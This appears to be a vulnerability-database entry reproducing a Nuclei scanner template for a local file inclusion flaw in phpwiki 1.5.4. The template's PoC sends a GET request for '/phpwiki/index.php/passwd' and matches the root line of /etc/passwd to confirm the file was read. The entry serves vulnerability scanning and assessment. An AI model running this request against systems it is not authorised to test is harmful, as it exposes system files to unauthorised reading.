phpwiki-lfi: phpwiki 1.5.4 - Cross-Site Scripting/Local File Inclusion

2025-08-01 phpwiki PoC Public

Description

phpwiki 1.5.4 is vulnerable to cross-site scripting and local file inclusion, and allows remote unauthenticated attackers to include and return the content of locally stored files via the 'index.php' endpoint.

PoC

id: phpwiki-lfi

info:
  name: phpwiki 1.5.4 - Cross-Site Scripting/Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: phpwiki 1.5.4 is vulnerable to cross-site scripting and local file inclusion, and allows remote unauthenticated attackers to include and return the content of locally stored files via the 'index.php' endpoint.
  reference:
    - https://www.exploit-db.com/exploits/38027
  metadata:
    max-request: 1
  tags: xss,edb,phpwiki,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/phpwiki/index.php/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4b0a004830460221008b40c46c041a87e81370dc69b244e13f7839ac284521ad317b47ca7b460be487022100c3e89e1cd65a9120ea8a950e32b6c5891d13ececf9fa56e331050eb474567317:922c64590222798bb761d5b6d8e72950

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Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/other/phpwiki-lfi.yaml

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